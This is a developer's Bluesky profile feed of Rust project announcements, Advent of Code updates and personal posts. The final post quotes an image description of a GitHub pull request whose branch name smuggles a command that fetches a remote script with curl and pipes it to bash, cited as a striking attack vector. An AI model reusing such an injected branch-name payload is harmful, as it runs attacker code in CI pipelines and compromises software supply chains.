Roland Rodriguez
LightNews LightNews
banner
govcraft.ai
Roland Rodriguez
@govcraft.ai
1.9K followers 9K following 130 posts
Founder @ Govcraft | ex-Principal AWS, Microsoft, Accenture | 30 yrs of nerd cred | 🧠 Learning Machine | 🌮 Enthusiast | Husband, Dad, Cat Whisperer
Posts Replies Media Videos
govcraft.ai
Added to the hammock queue.
jonathanaldrich.bsky.social Jonathan Aldrich @jonathanaldrich.bsky.social · May 24
I'm delighted to announce the 5th edition of Programming Language Pragmatics! I joined Michael Scott as a coauthor. We updated the semantics chapter to use inference rules, & substantially updated coverage of types, OO, codegen, Rust ownership & safe concurrency, async, traits & more!
Programming Language Pragmatics textbook cover, showing a waterfall in a woodland
May 25, 2025 at 2:48 PM
govcraft.ai
Cool beans.
orhun.dev Orhun Parmaksız @orhun.dev · May 7
I have big news! 📢

OpenAI uses @ratatui.rs for their Rust implementation of codex! 🔥🦀🎉

🌀 codex-rs — Lightweight coding agent that runs in your terminal.

⭐ GitHub: github.com/openai/codex...

#rustlang #ratatui #tui #openai #ai #llm #terminal #agent #coding
May 7, 2025 at 9:10 PM
govcraft.ai
My #Rust crate "Magic Type ID" (MTI) is now v1.0! 🎉
Opaque UUIDs (f47ac...) make logs & APIs a guessing game. MTI gives you human-readable, type-safe IDs like user_01h45....
Globally unique, K-sortable, and way clearer for debugging. 🦀🚀
Grab it: crates.io/crates/mti
Toss a ⭐: github.com/GovCraft/mti
May 7, 2025 at 8:17 PM
govcraft.ai
Hey Bluesky peeps👋🏽 Just shipped MailLaser: a receive-only SMTP server that sends emails to a webhook as JSON. Sender, subject, text (HTML optional). Links email to web services, no Rust skills needed! 🦀🚀 #rustlang #automation
github.com/Govcraft/mail-laser
GitHub - Govcraft/mail-laser: Lightweight server that forwards emails (sender, subject, text, optional HTML) as JSON via POST to a webhook URL. Ideal for email integration with web services & automati...
Lightweight server that forwards emails (sender, subject, text, optional HTML) as JSON via POST to a webhook URL. Ideal for email integration with web services & automation. Supports Docker, bi...
github.com
April 6, 2025 at 8:44 AM
govcraft.ai
Back on Bluesky and finally got Acton Reactive to v1. Message-passing with agents, Tokio, no locking nonsense. Docs are finally updated too. If you’re into Rust concurrency without the headache, might be worth a peek. 🦀🚀 #rustlang #rust #opensource #coding
github.com/GovCraft/act...
GitHub - Govcraft/acton-reactive: The Acton Reactive Application Framework provides an efficient way to build fast, reactive Rust applications. Designed around an actor-based model, it simplifies conc...
The Acton Reactive Application Framework provides an efficient way to build fast, reactive Rust applications. Designed around an actor-based model, it simplifies concurrency and allows developers t...
github.com
April 1, 2025 at 3:18 AM
govcraft.ai
AI coding assistants struggle with Rust's fast-moving ecosystem, often suggesting outdated APIs. 😩 Built this MCP server so tools like (Cursor, Roo, Claude etc.) can query current crate docs directly before generating code. Give it a try & ⭐ if useful! 🦀🚀 #rust #ai #mcp
github.com/Govcraft/rus...
GitHub - Govcraft/rust-docs-mcp-server: 🦀 Prevents outdated Rust code suggestions from AI assistants. This MCP server fetches current crate docs, uses embeddings/LLMs, and provides accurate context vi...
🦀 Prevents outdated Rust code suggestions from AI assistants. This MCP server fetches current crate docs, uses embeddings/LLMs, and provides accurate context via a tool call. - Govcraft/rust-docs-m...
github.com
March 30, 2025 at 9:17 AM
govcraft.ai
Hey Bluesky peeps 👋 Been offline here since the end of '24 dealing with a bumpy start to the year (life stuff!). Dipping my toes back in. Onwards!
March 29, 2025 at 10:04 PM
govcraft.ai
["🎄 Merry Christmas, World!",
"🕎 Happy Hanukkah, World!",
"🌟 Joyous Kwanzaa, World!",
"✨ Happy Holidays, Everyone!"]
.iter()
.for_each(|message| println!("{}", message));

#rustlang #helloworld #spreadlove
December 25, 2024 at 3:49 PM
govcraft.ai
Thanks @seanmonstar.com for all the hard work you put into hyper. 👍🏽🦀

daniel.haxx.se/blog/2024/12...
dropping hyper
The ride is coming to an end. The experiment is done. We tried, but we admit defeat. Four years ago we started adding support for an alternative HTTP backend in curl. It would use a library written in...
daniel.haxx.se
December 22, 2024 at 5:58 AM
govcraft.ai
UC Berkeley team just unveiled an LLM-powered C-to-safe Rust translator—automating the leap from legacy C to modern, safe Rust. No manual rewrites. Continued research like this will redefine secure systems development. Thoughts? 🚀 🦀
slimshetty.bsky.social Manish Shetty @slimshetty.bsky.social · Dec 19
First 🦋 post and excited to share some new work:

Syzygy: Dual Code-Test C to Rust Translation using LLMs and Dynamic Analysis!

Result: We successfully translated Zopfli, a C compression library with ~3000 LoC to Safe Rust with test-based validation

syzygy-project.github.io
December 19, 2024 at 8:56 AM
govcraft.ai
A great reminder that sometimes less really is more. Love stumbling on gems like this in the #rustlang ecosystem! 🚀
esmevane.com esmevane, sorry @esmevane.com · Dec 18
Was digging into capability-based code in #rustlang to see what the prior art looks like and found "cap_access", which is the most succinct one-file crate I think I've ever stumbled upon. This source is marvelous, it makes me want to go and split up all my crates github.com/arceos-org/c...
github.com
December 18, 2024 at 2:57 PM
govcraft.ai
Day 17 of #AdventOfCode2024 kept me humble. Spent a couple of hours wrestling with Part 2, but no dice. Probably missed some tiny detail. I must have put a decimal point in the wrong place or something.
#CodingLife #rust
A scene from the movie Office Space showing two characters sitting in a car. The character on the left looks frustrated and says, "I ALWAYS DO THAT! I ALWAYS MESS UP SOME MUNDANE DETAIL!" The caption reflects a relatable moment of making small, frustrating errors.
December 18, 2024 at 5:16 AM
govcraft.ai
Asked for help and gotten the wrong fix? You might’ve hit the X/Y problem: asking about your attempted fix (Y) instead of the real issue (X).

Example:
❌ "How do I shrink a file for email?"
✅ "I need to send a large file to a coworker."

Tip: Share the full story. Context = better solutions! 🚀
December 17, 2024 at 8:52 PM
govcraft.ai
#AdventOfCode2024 #rust
Peeked into Day 16 and pretty sure Dijkstra's waiting for me. I'll tackle him tomorrow—this weekend's a wrap. 🥱
December 16, 2024 at 5:33 AM
govcraft.ai
#AdventOfCode2024 #rust
Missed finishing Part Two for Day 12 and Day 15. Need to start earlier—or maybe tackle it the night before. Frustrating, but onward! 🦀
This image is an ASCII art display showing daily completion stats for Advent of Code challenges. The numbers "1" and "2" are represented as large, detailed ASCII art filled with decorative patterns like stars, wavy lines, dots, and characters such as @, ~, and #. To the right, the daily progress is listed in a column, with Days 1 through 15 marked by two yellow stars (**), indicating both parts of the challenge were completed. Days beyond 15 are visible but unmarked, suggesting no progress has been made yet. The combination of festive ASCII art and progress tracking creates a visually appealing summary of the user's Advent of Code achievements.
December 16, 2024 at 5:09 AM
govcraft.ai
Day 11 - #AdventOfCode2024 #Rust
Part 1? Nailed it with a quick and dirty approach. Part 2? Let’s just say Google’s quantum chip wouldn’t have solved it before the universe ends. Buckled down, thought it through, and shipped the final solution: 99 lines of #rust, 78 without tests. 🦀💡
A terminal screenshot showing the execution of a Rust program for the Advent of Code Day 11 challenge. The program runs in release mode, processing input from a file named stones.txt. Two phases of the computation, labeled as "Cosmic Phase Phase 1" and "Cosmic Phase Phase 2," are completed with visual indicators (asterisks). The program finishes execution in 0.348 seconds, using 130% CPU. A subsequent tokei command outputs the code statistics: 1 Rust file with 105 lines, of which 99 are code, with no comments and 6 blank lines. The interface is styled with a vibrant purple background.
December 12, 2024 at 4:40 AM
govcraft.ai
🎅🏽 Surprise bonus post — pic of mah boy straight up chillin’. He asked me to take this selfie for him on account of he got no thumbs. 👎🏽 #carrotcake
A relaxed orange tabby cat lies sprawled across a wooden shelf inside a boat cabin, with one paw hanging over the edge. The cat looks directly at the camera with a calm and slightly curious expression. In the background, various items like a pink bag, headphones, and yellow-lidded containers are visible, giving a cozy and lived-in vibe.
December 11, 2024 at 6:00 AM
govcraft.ai
Juggling proposals, code, and every #AdventOfCode2024 challenge (still on track!). Haven’t had time to share solutions, but productivity’s been off the charts. Tonight’s win: whipped up/published a crate I needed for WEBVTT serialization/deserialization with Serde. 🚀 #rust

github.com/GovCraft/vtt
GitHub - GovCraft/vtt: Rust type library for parsing and serializing WebVTT files using Serde.
Rust type library for parsing and serializing WebVTT files using Serde. - GovCraft/vtt
github.com
December 11, 2024 at 5:49 AM
govcraft.ai
I'd be interested in reading this too. Anybody?
graydon-pub.bsky.social Graydon Hoare @graydon-pub.bsky.social · Dec 7
Dear PL nerds: please send me your best recommendations on papers to read and projects to examine around type systems and/or other PL features related to prevention of dimensionality and cardinality mismatches, ideally in array or collection-oriented languages. Thanks!
December 9, 2024 at 5:50 AM
govcraft.ai
Cool behind the scenes vid on #AdventOfCode
owenomalley.bsky.social Owen O’Malley @owenomalley.bsky.social · Dec 9
I really enjoyed watch this talk about #AdventOfCode. I used Advent of Code to learn Rust a few years ago. It has been great fun doing the puzzles and comparing notes with my friends.
was.tl Eric Wastl @was.tl · Dec 8
If you're curious what it takes to build and run #AdventOfCode every year, you might enjoy this talk: www.youtube.com/watch?v=uZ8D...
December 9, 2024 at 5:38 AM
govcraft.ai
Paused #AdventOfCode for a "quick" dinner break, thinking I’d crush it after. Big mistake. Scrambled to finish with 13 minutes left. Time to dial down the confidence—it’s barely week 2. 😐 Solution coming after the clock-induced adrenaline wears off! #RustLang #CodingAdventures
December 9, 2024 at 5:00 AM
govcraft.ai
Day 7 - Advent of Code 2024 #AdventOfCode #rust
Taking a break from Day 8 to post Day 7. Optimized using perf, criterion & heaptrack till I tired of it. They're getting more fun to think through! Code runs fast; could be cleaner but, meh...you get what you pay for. 🤷🏽
github.com/rrrodzilla/a...
A terminal window showing output from Roland's Rust-based Advent of Code Day 7 solution.. The output includes several stages of analysis with emojis and decorative formatting. It shows 'Phase 1: Basic Structural Analysis' and 'Phase 2: Advanced Structural Analysis', with both stress coefficients marked as 'REDACTED'. The output includes playful references to elephants and jungle safety, ending with a notice that the bridge should be safe to cross 'until the elephants return'. At the bottom is a command line showing the program was run with the --redact flag and completed in 0.05s.
December 9, 2024 at 2:41 AM
govcraft.ai
Herons in Seattle, herons in Mexico — turns out we share the same migration route.
A tall gray heron stands on a dock near the edge of calm water, holding a fish in its long, pointed beak. The fish is dark and partially hanging out of the heron’s mouth. The background includes a wooden dock and rippling reflections in the water.
December 7, 2024 at 6:55 AM
govcraft.ai
Day 6 - Advent of Code 2024 #AdventOfCode #rust
Solution evolution:
>6s runtime 🐢 - Vec/HashSet => poor cache & full-sized data types
0.65s 🐇 - Parallel with Rayon => still memory heavy
0.071s 🚀 - Bit-packing, small ints, better locality + parallel ~100x faster 🦀
github.com/rrrodzilla/a...
A terminal screenshot shows the output of running Roland's Rust program solution to the Advent of Code Day six challenge with input redaction. The output includes lines stating “Temporal Analysis Complete!” and “Guard’s Patrol Coverage: *****,” followed by “Paradox Analysis Complete!” and “Viable Paradox Points: *****,” and ends with “Time Stream Analysis Concluded.” The timing summary at the bottom shows user, system, CPU usage, and total run time.
December 7, 2024 at 5:15 AM
govcraft.ai
My reaction: www.youtube.com/watch?v=OQSN...
mattkeeter.com Matt Keeter @mattkeeter.com · Dec 6
absolutely incredible attack vector
Picture of a Github PR with text reading openimbot wants to merge 0 commits into ultralytics:main from openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
December 6, 2024 at 7:48 PM